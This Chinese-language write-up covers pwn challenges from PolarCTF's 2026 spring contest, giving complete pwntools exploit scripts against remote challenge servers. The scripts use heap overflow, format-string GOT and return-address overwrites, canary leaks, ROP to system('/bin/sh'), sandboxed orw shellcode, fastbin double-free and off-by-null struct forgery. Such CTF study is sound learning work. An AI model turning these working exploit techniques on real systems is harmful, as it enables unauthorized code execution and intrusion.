前言(可以不看)
这次的题不是很难,但是这服务器是真不行,靶机经常开不出来,而且有时候平台还炸了,当时写的时候fmt我是只通了本地,远程没通,然后book当时没写出来,其他的都出了,不过canary没去交了(8点一直到8点半都开不了靶机,逗我?)总的来说我还是打的不太好,我的exp都在复现平台打通过,应该还是能参考一下的,不过主要也是学思路。
z99
这个题比较简单,就是创建了四个堆,第一次有堆溢出可以在v4[1]的地方写值,溢出到v5[1]把本来的堆指针覆盖成这个z99的地址,然后在第二次输入的时候就可以往z99改值让他满足条件去getshell了,exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')libc1=cdll.LoadLibrary('./libc.so.6')li='./libc.so.6'flag = 1if flag: p = remote('1.95.7.68',2067)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)slr = lambda s : p.sendline(str(s))sd = lambda s : p.send(s)sdr = lambda s : p.send(str(s))rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def csu(): pay=p64(0)+p64(0)+p64(1) return paydef ph(s): print(hex(s))def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()tar=0x60108Cpay=p64(tar)*0x40sl(pay)sl(p64(0x11))ti()
复制代码 bank
看着比较多但是很简单,就是一个格式化字符串写,因为是32位系统所以把money的地址放前面,测出偏移直接写即可。exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='i386'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.7.68',2089)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def ph(s): print(hex(s))def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()tar=0x804A06Cpay=p32(tar)+b'%9995c%6$hn'sl(pay)ti()
复制代码 littlecan
main函数先检测输入,输入的第二个字符的ascii码要大于f,就可以进到后面的函数
有格式化字符串漏洞,并且有栈溢出,第一次用格式化字符串泄露canary再打栈溢出即可,当然也可以用格式化字符串写,先改printf的got表为system函数,第二次输入/bin/sh\x00即可getshell,打栈溢出的exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='i386'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.36.136',2068)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def ph(s): print(hex(s))def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()back=0x8048621ru(b"This is a good start!\n")sd(b'z'*4)pay=b'%31$p'sd(pay)can=i6(rc(10))pay=0x1d*p32(can)+p32(back)sd(pay)ti()
复制代码 sandbox1
沙箱规则如下
只允许orw再去ida看看
这里不知道为啥反编译不了(我没学过逆向...)直接看汇编也可以,这里可以看见,我们输入的地址就是ebp-0x70,接下来程序又会call 这个地址,也就是我们可以直接写shellcode过去执行,用工具生成一段shellcode即可,exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='i386'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.36.136',2112)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def ph(s): print(hex(s))def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()pay=asm(shellcraft.open(b'./flag',0))+asm(shellcraft.read(3,0x810ADE0,0x100))+asm(shellcraft.write(1,0x810ADE0,0x100))sd(pay)ti()
复制代码 这个0x810ADE0是可写的地址,就是bss段上的。
one_hundred
先有一次格式化字符串写
改这个n为100即可继续然后又有一次格式化字符串写
这里直接打印了/bin/sh,所以我们直接在第二次格式化字符串写的时候改printf的got表为system函数即可getshell,exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.36.136',2148)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)slr = lambda s : p.sendline(str(s))sd = lambda s : p.send(s)sdr = lambda s : p.send(str(s))rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def csu(): pay=p64(0)+p64(0)+p64(1) return paydef ph(s): print(hex(s))def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()tar=0x804A06Cpr=elf.got['printf']sy=elf.sym['system']pay=p32(tar)+b'%96c%4$hhn'sd(pay)pay=p32(pr)+p32(pr+2)+b'%'+str((sy&0xffff)-8).encode()+b'c%4$hn'pay+=b'%'+str(((sy>>16)&0xffff)+0x10000-(sy&0xffff)).encode()+b'c%5$hn'ph(sy)sd(pay)ti()
复制代码 where_sh
32位的栈溢出,有canary,先用格式化字符串泄露出canary,然后栈溢出先返回gets,先往bss段写入/bin/sh\x00,然后gets返回system函数,把bss段作为参数即可getshell,exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='i386'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.36.136',2144)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)slr = lambda s : p.sendline(str(s))sd = lambda s : p.send(s)sdr = lambda s : p.send(str(s))rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def csu(): pay=p64(0)+p64(0)+p64(1) return paydef ph(s): print(hex(s))def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()ge=elf.sym['gets']sy=elf.sym['system']bss=0x804A06Cru(b"Welcome to the challenge!\n")pay=b'%27$p'sd(pay)can=i6(rc(10))pay=p32(can)*0x18+flat(ge,sy,bss,bss,bss)sl(pay)sl(b'/bin/sh\x00')ti()
复制代码 2free
这个应该是2.23版本的菜单题,有后门,漏洞点在delete
这里没有把指针置空,有uaf漏洞,我们再看看edit函数
可以看见这里这个写入的大小是在bss段上的,然后bss段上有堆的位置(也就是写入的地方)也在bss段上,所以我们打fastbin attack(不了解可以看看我写的文章Heap(堆)基础知识与UAF及Fastbin attck,流程就是先申请两个堆,释放第一个堆,释放第二个堆,再释放第一个堆。来形成一个循环链表,然后申请一个堆,改这个堆的fd指针,然后申请三次堆,最后申请的就是我们目标地址的堆了,不过这个堆的大小有讲究,要错位出来。完成之后我们先修改写入的大小,把他改大之后就可以写到bss段上的堆地址,把这个原来是堆地址的位置写成free的got表,再edit就可以往free的got表写了。攻击完成的效果如图
这样就相当于我们在0x60133d伪造了一个堆块,所以能申请到这个位置。exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.36.136',2099)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)slr = lambda s : p.sendline(str(s))sd = lambda s : p.send(s)sdr = lambda s : p.send(str(s))rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def csu(): pay=p64(0)+p64(0)+p64(1) return paydef ph(s): print(hex(s))def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()def add(s): ru(b"4.show") sdr(1) ru(b"Size: ") slr(s)def free(s): ru(b"4.show") sdr(3) ru(b"Index: ") sdr(s)def edit(s,a): ru(b"4.show") sdr(2) ru(b"Index: ") sdr(s) ru(b"Contents: ") sd(a)back=0x400c26li=0x6013C0tar=0x60133dadd(0x60)add(0x60)add(0x20)free(1)free(0)free(1)add(0x60)edit(1,p64(tar))add(0x60)add(0x60)add(0x60)edit(6,0x13*b'b'+p64(0x100000)*0x9)edit(6,0x3*b'b'+p64(0x100000)*0xe+p64(elf.got['free']))edit(0,p64(back))free(2)ti()
复制代码 zero
我记得比赛好像没这题啊....不过靶场上有就写一下吧
这里有一个栈溢出,开了pie,但是给了polar这个变量的地址,相当于没开pie,栈溢出返回xin函数
这里把sh跟bin这两个字符串禁了,但没禁flag,直接cat flag即可,exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='i386'elf=ELF('./pwn')flag = 1if flag: p = remote('1.95.36.136',2112)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def ph(s): print(hex(s))def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()ru(b"the polar gift for you ")pie=i6(rc(10))-0x2080ph(pie)back=pie+0x8C0pay=0x70*b'b'+p32(back)sd(pay)sl(b'cat f*')ti()
复制代码 bllhl_fmt
保护全开的任意格式化字符串写,当时我没写出来就是因为远程跟本地环境不一样导致栈地址不对,不过在2026PolarCTF春季赛wp – 叁玖の小博客这位师傅的文章下,了解了环境变量,就可以打了,我打的是栈返回,也就是call一个函数时会先在栈上留下这个函数的返回地址,我们通过格式化字符串是可以改这个地址的
改后效果如下
等printf函数结束后就会返回这个返回地址触发add rsp+0x58;ret从而回到我们栈上的rop链,也可以学这位师傅的攻击手法改返回地址,然后打stdin的IO结构退出循环,我当时是想用p.shutdown('write')发EOF退出循环,但是这样只能本地打了,好像远程不能只关一个管道。打栈返回的exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')flag = 1if flag: p = remote('1.95.36.136',2146)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def ph(s): print(hex(s))def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()pay=b'.%43$p.%45$p.kkk'sl(pay)a,libcbase,pie,c=ru(b'k'*3).decode().split('.')libcbase=i6(libcbase)-0x29d90pie=i6(pie)-0x120est=libcbase+libc.sym['environ']pay=b'kkkk%8$s'+p64(st)sl(pay)ru(b'k'*4)st=u6(6)-0x120-0x130ph(st)rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))ret=libcbase+0x29139system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search('/bin/sh'))bss=pie+0x4048ad58=libcbase+0xa0265pay=fmtstr_payload(7,{st:ad58},numbwritten=8,write_size='short')pay=pay.ljust(0x50,b'b')+flat(rdi,binsh,ret,system)sl(pay)ti()
复制代码 打IO结构的exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')flag = 1if flag: p = remote('1.95.36.136',2146)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def ph(s): print(hex(s))def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()pay=b'.%43$p.%45$p.kkk'sl(pay)a,libcbase,pie,c=ru(b'k'*3).decode().split('.')libcbase=i6(libcbase)-0x29d90pie=i6(pie)-0x120est=libcbase+libc.sym['environ']pay=b'kkkk%8$s'+p64(st)sl(pay)ru(b'k'*4)st=u6(6)-0x120ph(st)rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))ret=libcbase+0x29139system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search('/bin/sh'))bss=pie+0x4048ad58=libcbase+0xa0265pay=fmtstr_payload(7,{bss:b'/bin/sh\x00'},numbwritten=8,write_size='short')sl(pay)pay=fmtstr_payload(7,{st+8:bss},numbwritten=8,write_size='short')sl(pay)pay=fmtstr_payload(7,{st:rdi},numbwritten=8,write_size='short')sl(pay)pay=fmtstr_payload(7,{st+0x10:ret},numbwritten=8,write_size='short')sl(pay)pay=fmtstr_payload(7,{st+0x18:system},numbwritten=8,write_size='short')sl(pay) std=libcbase+libc.sym['_IO_2_1_stdin_'] + 0x70pay=fmtstr_payload(7,{std:0xffffffff},numbwritten=8,write_size='short')sl(pay)ti()
复制代码 bllhl_canary
这个题看着挺吓人,实际上还是挺简单的
这里通过各种加密解密在栈上放了很多检测,但实际上通过格式化字符串都可以把这些东西泄露出来,我们直接看汇编语言,看看他检测的地方在哪
可以看见在rbp-0x30,和rbp-0x28的地方会赋值给对应的寄存器,然后会有一个比较,之后在rbp-0x18的地方还有一个比较,我们把这些值通过格式化字符串全泄露出来,然后还原回去就可以栈溢出了,不用管其他的,同时格式化字符串还可以泄露出libc基地址,所以直接打就可以了,exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')libc1=cdll.LoadLibrary('./libc.so.6')li='./libc.so.6'flag = 1if flag: p = remote('1.95.36.136',2141)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)slr = lambda s : p.sendline(str(s))sd = lambda s : p.send(s)sdr = lambda s : p.send(str(s))rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def csu(): pay=p64(0)+p64(0)+p64(1) return paydef ph(s): print(hex(s))def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()ru(b"[stage1] format string leak:")#69pay=b'%38$p.%39$p.%41$p.%49$p.kkkk'sd(pay)ru("[echo] ")a,b,c,libcbase,d=ru(b'k'*4).decode().split('.')a=i6(a)b=i6(b)c=i6(c)libcbase=i6(libcbase)-0x29d90ph(libcbase)sy=libcbase+libc.sym['system']ret=libcbase+0x29139binsh=libcbase+next(libc.search('/bin/sh'))rdi=libcbase+next(libc.search(asm('pop rdi;ret;')))pay=0x60*b'b'+flat(a,b,0,c)+0x18*b'b'+flat(ret,rdi,binsh,sy)sd(pay)ti()
复制代码 bllhl_book
这个题我感觉挺有意思的,我是第一次见这种(我比较菜)
我就不一个个函数解释了,直接看关键的,首先是creat
这里写了一大串,其实就是构造出了一个结构体,然后在g_lib[8 * free_slot + 32]的位置写上了这个结构体偏移+0x80的指针
通过后面的printf可以知道各部分的名字,book的结构大致如图所示
漏洞点在改名字那
这里有一个off by null,粗略的看好像没啥用,但仔细看会发现,他写入的地址是g_lib,写入的大小是0x20,通过off by null其实我们就可以改掉第一个book在bss段上的地址(g_lib[8 * free_slot + 32]),改了之后的效果就是这样
因为简介是我们可以写值的,所以我们一开始在简介上布置好值就相当于伪造了一个book结构体,然后其中的id,名字,指针,大小都可以随便取值,我们把名字改成一个函数的got表,通过print功能就可以泄露出libc基地址,指针改成下图的函数指针的地址,后面edit往book里写值就可以改掉这个指针改成system(注意这个函数指针后面是stdout,不能把这值改掉了,不然会报错)再改名字把g_lib里写入/bin/sh\x00,再调用下图这个函数就可以getshell了
exp如下:- from pwn import *import sysfrom ctypes import *context.log_level='debug'context.arch='amd64'elf=ELF('./pwn')libc = ELF('./libc.so.6')libc1=cdll.LoadLibrary('./libc.so.6')li='./libc.so.6'flag = 1if flag: p = remote('1.95.36.136',2085)else: p = process('./pwn')sa = lambda s,n : p.sendafter(s,n)sla = lambda s,n : p.sendlineafter(s,n)sl = lambda s : p.sendline(s)slr = lambda s : p.sendline(str(s).encode())sd = lambda s : p.send(s)sdr = lambda s : p.send(str(s))rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()rcl = lambda : p.recvline()leak = lambda name,addr :log.success(name+"--->"+hex(addr))u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())i6 = lambda a : int(a,16)def csu(): pay=p64(0)+p64(0)+p64(1) return paydef ph(s): print(hex(s))def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause()def free(s): ru(b"> ") slr(2) ru(b"Enter the book id you want to delete: ") slr(s)def edit(s,a): ru(b"> ") slr(3) ru(b"Enter the book id you want to edit: ") slr(s) ru(b"Enter new book description: ") sl(a)def pr(): ru(b"> ") slr(4)def rename(a): ru(b"> ") slr(5) ru(b"Enter author name: ") sl(a)def back(): ru(b"> ") slr(6) ru(b"
- [*] Polar review engine:\n")def add(s,a,d,f): ru(b"> ") slr(1) ru(b"Enter book name size: ") slr(s) ru(b"Enter book name (Max 32 chars): ") sl(a) ru(b"Enter book description size: ") slr(d) ru(b"Enter book description: ") sl(f)tar=0x404018sl(b'b')puts=elf.got['puts']pay=b'b'pay=flat(1,puts,tar,0x80)add(0x20,b'b',0x60,pay)rename(b'a'*0x20)pr()ru(b"Name: ")libcbase=u6(6)-libc.sym['puts']ph(libcbase)sy=libcbase+libc.sym['system']wa=libcbase+libc.sym['_IO_2_1_stdout_']edit(1,p64(sy)+p64(wa))rename(b'/bin/sh\x00')back()ti()
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |